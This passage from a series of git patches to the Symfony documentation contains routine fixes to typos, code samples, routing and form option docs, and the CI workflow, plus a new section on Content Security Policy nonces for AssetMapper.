``OidcTokenHandler`` requires the package ``web-token/jwt-library``. +The ``OidcTokenHandler`` requires the ``web-token/jwt-library`` package. If you haven't installed it yet, run this command: .. code-block:: terminal @@ -619,6 +619,11 @@ it and retrieve the user info from it: ; }; +.. versionadded:: 7.1 + + The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1. + In previous versions, only the ``ES256`` algorithm was supported. + Following the `OpenID Connect Specification`_, the ``sub`` claim is used by default as user identifier. To use another claim, specify it on the configuration: From 2c16e402a0141c60dced61bee1c787d52a1139f0 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Tue, 23 Apr 2024 11:01:07 +0200 Subject: [PATCH 171/615] Upload Files: Removing `getParameter()` --- controller/upload_file.rst | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/controller/upload_file.rst b/controller/upload_file.rst index e444101ef00..b273deb0fab 100644 --- a/controller/upload_file.rst +++ b/controller/upload_file.rst @@ -134,7 +134,7 @@ Finally, you need to update the code of the controller that handles the form:: /** * @Route("/product/new", name="app_product_new") */ - public function new(Request $request, SluggerInterface $slugger): Response + public function new(Request $request, SluggerInterface $slugger, string $brochuresDirectory): Response { $product = new Product(); $form = $this->createForm(ProductType::class, $product); @@ -154,10 +154,7 @@ Finally, you need to update the code of the controller that handles the form:: // Move the file to the directory where brochures are stored try { - $brochureFile->move( - $this->getParameter('brochures_directory'), - $newFilename - ); + $brochureFile->move($brochuresDirectory, $newFilename); } catch (FileException $e) { // ... handle exception if something happens during file upload } @@ -223,7 +220,7 @@ You can use the following code to link to the PDF brochure of a product: // ... $product->setBrochureFilename( - new File($this->getParameter('brochures_directory').'/'.$product->getBrochureFilename()) + new File($brochuresDirectory.DIRECTORY_SEPARATOR.$product->getBrochureFilename()) ); Creating an Uploader Service From 507eed36af4a4ca28ecdaf719c7eedcb75526ea1 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Sat, 27 Apr 2024 10:23:41 +0200 Subject: [PATCH 172/615] use option name as link label --- forms.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/forms.rst b/forms.rst index 715fdb17f27..8b8a0534201 100644 --- a/forms.rst +++ b/forms.rst @@ -840,7 +840,7 @@ to the ``form()`` or the ``form_start()`` helper functions: that stores this method. The form will be submitted in a normal ``POST`` request, but :doc:`Symfony's routing </routing>` is capable of detecting the ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or - ``DELETE`` request. The :ref:`configuration-framework-http_method_override` + ``DELETE`` request. The :ref:`http_method_override <configuration-framework-http_method_override>` option must be enabled for this to work. Changing the Form Name From 87c724546a48d40eb74fc68cb970d473eb0111c2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com> Date: Sat, 27 Apr 2024 22:01:08 +0200 Subject: [PATCH 173/615] [Scheduler] fix dead link with correct once, again --- scheduler.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scheduler.rst b/scheduler.rst index afc99404df5..5257a37d422 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -965,12 +965,12 @@ before being further redispatched to its corresponding handler:: } When using the ``RedispatchMessage``, Symfony will attach a -:class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` to the message, +:class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to the message, helping you identify those messages when needed. .. versionadded:: 6.4 - Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` + Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to redispatched messages was introduced in Symfony 6.4. .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization From 092b40e1b2195db9cecd574cf33898690e8ec3d7 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Thu, 25 Apr 2024 12:45:12 +0200 Subject: [PATCH 174/615] Fix indentation --- .github/workflows/ci.yaml | 121 +++++++++++++++++++------------------- 1 file changed, 62 insertions(+), 59 deletions(-) diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index a7a2db5f7a9..44aa8481fd5 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -79,65 +79,68 @@ jobs: symfony-code-block-checker: name: Code Blocks + runs-on: ubuntu-latest + continue-on-error: true + steps: - - name: Checkout code - uses: actions/checkout@v3 - with: - path: 'docs' - - - name: Set-up PHP - uses: shivammathur/setup-php@v2 - with: - php-version: 8.1 - coverage: none - - - name: Fetch branch from where the PR started - working-directory: docs - run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/* - - - name: Find modified files - id: find-files - working-directory: docs - run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT - - - name: Get composer cache directory - id: composercache - working-directory: docs/_build - run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - - - name: Cache dependencies - if: ${{ steps.find-files.outputs.files }} - uses: actions/cache@v3 - with: - path: ${{ steps.composercache.outputs.dir }} - key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }} - restore-keys: ${{ runner.os }}-composer-codeBlocks- - - - name: Install dependencies - if: ${{ steps.find-files.outputs.files }} - run: composer create-project symfony-tools/code-block-checker:@dev _checker - - - name: Install test application - if: ${{ steps.find-files.outputs.files }} - run: | - git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app - cd _sf_app - composer update - - - name: Generate baseline - if: ${{ steps.find-files.outputs.files }} - working-directory: docs - run: | - CURRENT=$(git rev-parse HEAD) - git checkout -m ${{ github.base_ref }} - ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app` - git checkout -m $CURRENT - cat baseline.json - - - name: Verify examples - if: ${{ steps.find-files.outputs.files }} - working-directory: docs - run: | - ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app` + - name: Checkout code + uses: actions/checkout@v3 + with: + path: 'docs' + + - name: Set-up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: 8.1 + coverage: none + + - name: Fetch branch from where the PR started + working-directory: docs + run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/* + + - name: Find modified files + id: find-files + working-directory: docs + run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT + + - name: Get composer cache directory + id: composercache + working-directory: docs/_build + run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT + + - name: Cache dependencies + if: ${{ steps.find-files.outputs.files }} + uses: actions/cache@v3 + with: + path: ${{ steps.composercache.outputs.dir }} + key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }} + restore-keys: ${{ runner.os }}-composer-codeBlocks- + + - name: Install dependencies + if: ${{ steps.find-files.outputs.files }} + run: composer create-project symfony-tools/code-block-checker:@dev _checker + + - name: Install test application + if: ${{ steps.find-files.outputs.files }} + run: | + git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app + cd _sf_app + composer update + + - name: Generate baseline + if: ${{ steps.find-files.outputs.files }} + working-directory: docs + run: | + CURRENT=$(git rev-parse HEAD) + git checkout -m ${{ github.base_ref }} + ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app` + git checkout -m $CURRENT + cat baseline.json + + - name: Verify examples + if: ${{ steps.find-files.outputs.files }} + working-directory: docs + run: | + ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app` From 9fafa5fa863bed33d56113f904f6dca279e06f4c Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 29 Apr 2024 12:19:06 +0200 Subject: [PATCH 175/615] Use PHP 8.2 for build --- .github/workflows/ci.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 778d3fd5a2b..09158fd099a 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -26,7 +26,7 @@ jobs: - name: "Set-up PHP" uses: shivammathur/setup-php@v2 with: - php-version: 8.1 + php-version: 8.2 coverage: none tools: "composer:v2" From 11cd34d903362e897626a0d80110dd50da3ba7d4 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Mon, 29 Apr 2024 12:21:09 +0200 Subject: [PATCH 176/615] - --- bundles/configuration.rst | 4 ---- bundles/extension.rst | 4 ---- 2 files changed, 8 deletions(-) diff --git a/bundles/configuration.rst b/bundles/configuration.rst index 48b91c1713a..882e828aeb6 100644 --- a/bundles/configuration.rst +++ b/bundles/configuration.rst @@ -61,10 +61,6 @@ There are two different ways of creating friendly configuration for a bundle: Using the AbstractBundle Class ------------------------------ -.. versionadded:: 6.1 - - The ``AbstractBundle`` class was introduced in Symfony 6.1. - In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` class, you can add all the logic related to processing the configuration in that class:: diff --git a/bundles/extension.rst b/bundles/extension.rst index d2e3cd05b9d..e1e2dba3e6b 100644 --- a/bundles/extension.rst +++ b/bundles/extension.rst @@ -20,10 +20,6 @@ There are two different ways of doing it: Loading Services Directly in your Bundle Class ---------------------------------------------- -.. versionadded:: 6.1 - - The ``AbstractBundle`` class was introduced in Symfony 6.1. - In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` method to load service definitions from configuration files:: From d7b56cd00b50d69db80c294e0ec8a6b0c87268f3 Mon Sep 17 00:00:00 2001 From: Damien Fernandes <damien.fernandes24@gmail.com> Date: Mon, 29 Apr 2024 13:03:46 +0200 Subject: [PATCH 177/615] [Scheduler] Fix code sample --- scheduler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scheduler.rst b/scheduler.rst index 6a50a8e34ae..dd723c326c3 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -901,7 +901,7 @@ same task more than once:: ->with( // ... ) - ->lock($this->lockFactory->createLock('my-lock') + ->lock($this->lockFactory->createLock('my-lock')); } } From d3470566f1058b3a5fb20079de0848275b9cd41b Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Tue, 30 Apr 2024 08:59:11 +0200 Subject: [PATCH 178/615] rewrite the routing introduction --- quick_tour/the_big_picture.rst | 75 ++++++++++------------------------ 1 file changed, 22 insertions(+), 53 deletions(-) diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst index 34bea4f82cc..b069cb4f716 100644 --- a/quick_tour/the_big_picture.rst +++ b/quick_tour/the_big_picture.rst @@ -39,7 +39,7 @@ Symfony application: ├─ var/ └─ vendor/ -Can we already load the project in a browser? Yes! You can setup +Can we already load the project in a browser? Yes! You can set up :doc:`Nginx or Apache </setup/web_server_configuration>` and configure their document root to be the ``public/`` directory. But, for development, it's better to :doc:`install the Symfony local web server </setup/symfony_server>` and run @@ -63,20 +63,6 @@ web app, or a microservice. Symfony starts small, but scales with you. But before we go too far, let's dig into the fundamentals by building our first page. -Start in ``config/routes.yaml``: this is where *we* can define the URL to our new -page. Uncomment the example that already lives in the file: - -.. code-block:: yaml - - # config/routes.yaml - index: - path: / - controller: 'App\Controller\DefaultController::index' - -This is called a *route*: it defines the URL to your page (``/``) and the "controller": -the *function* that will be called whenever anyone goes to this URL. That function -doesn't exist yet, so let's create it! - In ``src/Controller``, create a new ``DefaultController`` class and an ``index`` method inside:: @@ -84,9 +70,11 @@ method inside:: namespace App\Controller; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController { + #[Route('/', name: 'index')] public function index(): Response { return new Response('Hello!'); @@ -104,11 +92,21 @@ But the routing system is *much* more powerful. So let's make the route more int .. code-block:: diff - # config/routes.yaml - index: - - path: / - + path: /hello/{name} - controller: 'App\Controller\DefaultController::index' + // src/Controller/DefaultController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + + class DefaultController + { + - #[Route('/', name: 'index')] + + #[Route('/hello/{name}', name: 'index')] + public function index(): Response + { + return new Response('Hello!'); + } + } The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts like a wildcard that matches anything. And it gets better! Update the controller too: @@ -120,9 +118,11 @@ like a wildcard that matches anything. And it gets better! Update the controller namespace App\Controller; use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController { + #[Route('/hello/{name}', name: 'index')] - public function index() + public function index(string $name): Response { @@ -135,39 +135,8 @@ Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name`` argument in your controller. -But this can be even simpler! Comment-out the YAML route by adding the -``#`` character: - -.. code-block:: yaml - - # config/routes.yaml - # index: - # path: /hello/{name} - # controller: 'App\Controller\DefaultController::index' - -Instead, add the route *right above* the controller method: - -.. code-block:: diff - - <?php - // src/Controller/DefaultController.php - namespace App\Controller; - - use Symfony\Component\HttpFoundation\Response; - + use Symfony\Component\Routing\Attribute\Route; - - class DefaultController - { - + #[Route('/hello/{name}', methods: ['GET'])] - public function index(string $name): Response - { - // ... - } - } - -This works just like before! But by using attributes, the route and controller -live right next to each other. Need another page? Add another route and method -in ``DefaultController``:: +But by using attributes, the route and controller live right next to each +other. Need another page? Add another route and method in ``DefaultController``:: // src/Controller/DefaultController.php namespace App\Controller; From 4b75213c66d04886a1df5a18e85c50845a18d6e0 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Tue, 30 Apr 2024 17:35:32 +0200 Subject: [PATCH 179/615] [Security]: Redirect user to profile page Page: https://symfony.com/doc/5.x/security/custom_authenticator.html The homepage is public. After login, you should redirect the user to some *protected* page. --- security/custom_authenticator.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst index e79d8a002a1..9614c3a4e55 100644 --- a/security/custom_authenticator.rst +++ b/security/custom_authenticator.rst @@ -163,7 +163,7 @@ can define what happens in these cases: ``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response`` If the user is authenticated, this method is called with the authenticated ``$token``. This method can return a response (e.g. - redirect the user to the homepage). + redirect the user to their profile page). If ``null`` is returned, the request continues like normal (i.e. the controller matching the login route is called). This is useful for API From 1b271673ceca6c3813d0930f836f8b42e0efa5dc Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 2 May 2024 08:43:41 +0200 Subject: [PATCH 180/615] [Scheduler] Fix code sample --- scheduler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scheduler.rst b/scheduler.rst index 5257a37d422..8c9aaa48b1c 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -934,7 +934,7 @@ same task more than once:: ->with( // ... ) - ->lock($this->lockFactory->createLock('my-lock') + ->lock($this->lockFactory->createLock('my-lock')); } } From a209c5709324cea384f54097333c289d77153571 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Thu, 2 May 2024 08:50:08 +0200 Subject: [PATCH 181/615] rename the model_type option to input --- reference/forms/types/money.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst index 8e2130a5909..5793097fe2f 100644 --- a/reference/forms/types/money.rst +++ b/reference/forms/types/money.rst @@ -76,8 +76,8 @@ If set to ``true``, the HTML input will be rendered as a native HTML5 As HTML5 number format is normalized, it is incompatible with ``grouping`` option. -model_type -~~~~~~~~~~ +input +~~~~~ **type**: ``string`` **default**: ``float`` @@ -87,7 +87,7 @@ values stored in cents as integers) set this option to ``integer``. .. versionadded:: 7.1 - The ``model_type`` option was introduced in Symfony 7.1. + The ``input`` option was introduced in Symfony 7.1. scale ~~~~~ From 7cf7c66a2693c4007f84af7755270d0ce33497b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?F=C3=A9lix=20Fouillet?= <35224226+ffouillet@users.noreply.github.com> Date: Thu, 2 May 2024 09:08:03 +0200 Subject: [PATCH 182/615] Fix typo in bundles/extension.rst --- bundles/extension.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bundles/extension.rst b/bundles/extension.rst index d2e3cd05b9d..6b87572a6de 100644 --- a/bundles/extension.rst +++ b/bundles/extension.rst @@ -75,7 +75,7 @@ This is the traditional way of loading service definitions in bundles. For new bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`, but the traditional way of creating an extension class still works. -A depdendency injection extension is defined as a class that follows these +A dependency injection extension is defined as a class that follows these conventions (later you'll learn how to skip them if needed): * It has to live in the ``DependencyInjection`` namespace of the bundle; From 90c5f4f9fabfa2fdca9a79e6c79fa70983e3922f Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Thu, 2 May 2024 11:43:31 +0200 Subject: [PATCH 183/615] deprecate the base_template_class option --- reference/configuration/twig.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst index 1b9c1ef3bd9..596d70d8a2b 100644 --- a/reference/configuration/twig.rst +++ b/reference/configuration/twig.rst @@ -62,6 +62,10 @@ base_template_class **type**: ``string`` **default**: ``Twig\Template`` +.. deprecated:: 7.1 + + The ``base_template_class`` option is deprecated since Symfony 7.1. + Twig templates are compiled into PHP classes before using them to render contents. This option defines the base class from which all the template classes extend. Using a custom base template is discouraged because it will make your From 6782a79f122144291f675d460d159d3ef7df6c50 Mon Sep 17 00:00:00 2001 From: Ali Yousefi <aliyousefi.tec@gmail.com> Date: Thu, 2 May 2024 19:03:12 +0330 Subject: [PATCH 184/615] Update controller.rst In use statement use wrong case, then this error happens 'Case mismatch between loaded and declared class names: "App\Model\UserDto" vs "App\Model\UserDTO". ', https://stackoverflow.com/questions/78352633/controller-returning-500-could-not-denormalize-object-of-type/78420166 --- controller.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/controller.rst b/controller.rst index 436326aa700..1a46200ebdf 100644 --- a/controller.rst +++ b/controller.rst @@ -419,7 +419,7 @@ optional validation constraints:: You can then use the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute in your controller:: - use App\Model\UserDto; + use App\Model\UserDTO; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapQueryString; @@ -454,7 +454,7 @@ The default status code returned if the validation fails is 404. If you need a valid DTO even when the request query string is empty, set a default value for your controller arguments:: - use App\Model\UserDto; + use App\Model\UserDTO; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapQueryString; @@ -497,7 +497,7 @@ In this case, it is also possible to directly map this payload to your DTO by using the :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute:: - use App\Model\UserDto; + use App\Model\UserDTO; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Attribute\MapRequestPayload; From 778ffdf3f0815c5f98a42e745c079f13646ab452 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Sun, 5 May 2024 23:54:24 +0200 Subject: [PATCH 185/615] [Bundle] Fix Bundle configuration root key It should be acme_social instead of acme.social --- bundles/configuration.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bundles/configuration.rst b/bundles/configuration.rst index 48b91c1713a..4efba904b0e 100644 --- a/bundles/configuration.rst +++ b/bundles/configuration.rst @@ -98,7 +98,7 @@ class, you can add all the logic related to processing the configuration in that // use it directly to configure the service container (when defining an // extension class, you also have to do this merging and processing) $containerConfigurator->services() - ->get('acme.social.twitter_client') + ->get('acme_social.twitter_client') ->arg(0, $config['twitter']['client_id']) ->arg(1, $config['twitter']['client_secret']) ; @@ -347,7 +347,7 @@ For example, imagine your bundle has the following example config: https://symfony.com/schema/dic/services/services-1.0.xsd" > <services> - <service id="acme.social.twitter_client" class="Acme\SocialBundle\TwitterClient"> + <service id="acme_social.twitter_client" class="Acme\SocialBundle\TwitterClient"> <argument></argument> <!-- will be filled in with client_id dynamically --> <argument></argument> <!-- will be filled in with client_secret dynamically --> </service> @@ -370,7 +370,7 @@ In your extension, you can load this and dynamically set its arguments:: $configuration = new Configuration(); $config = $this->processConfiguration($configuration, $configs); - $definition = $container->getDefinition('acme.social.twitter_client'); + $definition = $container->getDefinition('acme_social.twitter_client'); $definition->replaceArgument(0, $config['twitter']['client_id']); $definition->replaceArgument(1, $config['twitter']['client_secret']); } From 1d9a171a4950b18db9f76fba2f0db5913c908d60 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Anderson=20M=C3=BCller?= <anderson.a.muller@gmail.com> Date: Fri, 3 May 2024 20:52:01 +0200 Subject: [PATCH 186/615] Fix group handler name --- logging/monolog_email.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst index 3302707bea3..350a5646a31 100644 --- a/logging/monolog_email.rst +++ b/logging/monolog_email.rst @@ -292,7 +292,7 @@ get logged on the server as well as the emails being sent: ->handler('grouped') ; - $monolog->handler('group') + $monolog->handler('grouped') ->type('group') ->members(['streamed', 'deduplicated']) ; @@ -322,7 +322,7 @@ get logged on the server as well as the emails being sent: ; }; -This uses the ``group`` handler to send the messages to the two +This uses the ``grouped`` handler to send the messages to the two group members, the ``deduplicated`` and the ``stream`` handlers. The messages will now be both written to the log file and emailed. From 880c507233780b22371e5502b3726d04cb2caf6f Mon Sep 17 00:00:00 2001 From: Zahir Saad Bouzid <zahirnet@gmail.com> Date: Thu, 2 May 2024 11:28:33 +0200 Subject: [PATCH 187/615] [Cache] Small correction in the use of tags in the cache Replacement of the word key by tag in the description of the use of tags in the cache --- cache.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cache.rst b/cache.rst index 5dd560a94cc..d5a7082b748 100644 --- a/cache.rst +++ b/cache.rst @@ -572,7 +572,7 @@ Using Cache Tags In applications with many cache keys it could be useful to organize the data stored to be able to invalidate the cache more efficiently. One way to achieve that is to use cache tags. One or more tags could be added to the cache item. All items with -the same key could be invalidated with one function call:: +the same tag could be invalidated with one function call:: use Symfony\Contracts\Cache\ItemInterface; use Symfony\Contracts\Cache\TagAwareCacheInterface; From dfc8acc913d1bc3481d6ce9d63892b7910d998ac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Mon, 6 May 2024 18:58:42 +0200 Subject: [PATCH 188/615] [Reference] Replace param converter with value resolver --- reference/events.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/reference/events.rst b/reference/events.rst index 92f917f9115..411e5e327f5 100644 --- a/reference/events.rst +++ b/reference/events.rst @@ -56,7 +56,7 @@ their priorities: This event is dispatched after the controller has been resolved but before executing it. It's useful to initialize things later needed by the -controller, such as `param converters`_, and even to change the controller +controller, such as `value resolvers`_, and even to change the controller entirely:: use Symfony\Component\HttpKernel\Event\ControllerEvent; @@ -297,4 +297,4 @@ their priorities: $ php bin/console debug:event-dispatcher kernel.exception -.. _`param converters`: https://symfony.com/doc/master/bundles/SensioFrameworkExtraBundle/annotations/converters.html +.. _`value resolvers`: https://symfony.com/doc/current/controller/value_resolver.html#managing-value-resolvers From dabb2d9f6976a2e475279d6caf24a3330649fc8e Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 7 May 2024 11:15:03 +0200 Subject: [PATCH 189/615] [Validator] Misc tweaks in MacAddress and Charset constraints --- reference/constraints/Charset.rst | 4 ++-- reference/constraints/MacAddress.rst | 14 +++++++------- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst index 4f1a260356f..084f24cdf76 100644 --- a/reference/constraints/Charset.rst +++ b/reference/constraints/Charset.rst @@ -88,8 +88,8 @@ Options An encoding or a set of encodings to check against. If you pass an array of encodings, the validator will check if the value is encoded in *any* of the -encodings. This option accepts any value that can be passed to -:phpfunction:`mb_detect_encoding`. +encodings. This option accepts any value that can be passed to the +:phpfunction:`mb_detect_encoding` PHP function. .. include:: /reference/constraints/_groups-option.rst.inc diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst index 2958af49874..59adffe7c11 100644 --- a/reference/constraints/MacAddress.rst +++ b/reference/constraints/MacAddress.rst @@ -19,18 +19,18 @@ Basic Usage ----------- To use the MacAddress validator, apply it to a property on an object that -will contain a host name. +can contain a MAC address: .. configuration-block:: .. code-block:: php-attributes - // src/Entity/Author.php + // src/Entity/Device.php namespace App\Entity; use Symfony\Component\Validator\Constraints as Assert; - class Author + class Device { #[Assert\MacAddress] protected string $mac; @@ -39,7 +39,7 @@ will contain a host name. .. code-block:: yaml # config/validator/validation.yaml - App\Entity\Author: + App\Entity\Device: properties: mac: - MacAddress: ~ @@ -52,7 +52,7 @@ will contain a host name. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> - <class name="App\Entity\Author"> + <class name="App\Entity\Device"> <property name="max"> <constraint name="MacAddress"/> </property> @@ -61,13 +61,13 @@ will contain a host name. .. code-block:: php - // src/Entity/Author.php + // src/Entity/Device.php namespace App\Entity; use Symfony\Component\Validator\Constraints as Assert; use Symfony\Component\Validator\Mapping\ClassMetadata; - class Author + class Device { // ... From 979891b65830f123e846534119aab8e559b48d74 Mon Sep 17 00:00:00 2001 From: rahul <rcsofttech85@gmail.com> Date: Tue, 7 May 2024 14:46:30 +0530 Subject: [PATCH 190/615] Removed unnecessary Request parameter --- security/csrf.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/csrf.rst b/security/csrf.rst index 76aaf9ea4bf..a758c856f16 100644 --- a/security/csrf.rst +++ b/security/csrf.rst @@ -176,7 +176,7 @@ attribute on the controller action:: // ... #[IsCsrfTokenValid('delete-item', tokenKey: 'token')] - public function delete(Request $request): Response + public function delete(): Response { // ... do something, like deleting an object } From 19e4f28b3674cfc5ca4d88d4b845a523b9676737 Mon Sep 17 00:00:00 2001 From: Nic Wortel <nic@nicwortel.nl> Date: Mon, 6 May 2024 20:30:11 +0200 Subject: [PATCH 191/615] [AssetMapper] Document how to make it work with a Content Security Policy --- frontend/asset_mapper.rst | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index c4ec17337ef..dfc6a196430 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -1061,6 +1061,27 @@ have *one* importmap, so ``importmap()`` must be called exactly once. If, for some reason, you want to execute *only* ``checkout.js`` and *not* ``app.js``, pass only ``checkout`` to ``importmap()``. +Using a Content Security Policy (CSP) +------------------------------------- + +If you're using a `Content Security Policy`_ (CSP) to prevent cross-site +scripting attacks, the inline ``<script>`` tags rendered by the ``importmap()`` +function will likely violate that policy and will not be executed by the browser. + +To allow these scripts to run without disabling the security provided by +the CSP, you can generate a secure random string for every request (called +a *nonce*) and include it in the CSP header and in a ``nonce`` attribute on +the ``<script>`` tags. +The ``importmap()`` function accepts an optional second argument that can be +used to pass attributes to the rendered ``<script>`` tags. +You can use the `NelmioSecurityBundle`_ to generate the nonce and include +it in the CSP header, and then pass the same nonce to the Twig function: + +.. code-block:: twig + + {# the csp_nonce() function is defined by the NelmioSecurityBundle #} + {{ importmap('app', {'nonce': csp_nonce('script')}) }} + The AssetMapper Component Caching System in dev ----------------------------------------------- @@ -1143,3 +1164,5 @@ command as part of your CI to be warned anytime a new vulnerability is found. .. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles .. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file +.. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP +.. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling From 6afab454cb1450e0fbdb43abed020d299196e64f Mon Sep 17 00:00:00 2001 From: Asis Pattisahusiwa <79239132+asispts@users.noreply.github.com> Date: Wed, 8 May 2024 09:45:00 +0100 Subject: [PATCH 192/615] Add missing asterisk --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 73194f94627..adbe8359743 100644 --- a/messenger.rst +++ b/messenger.rst @@ -1745,7 +1745,7 @@ during a request:: $this->assertSame(200, 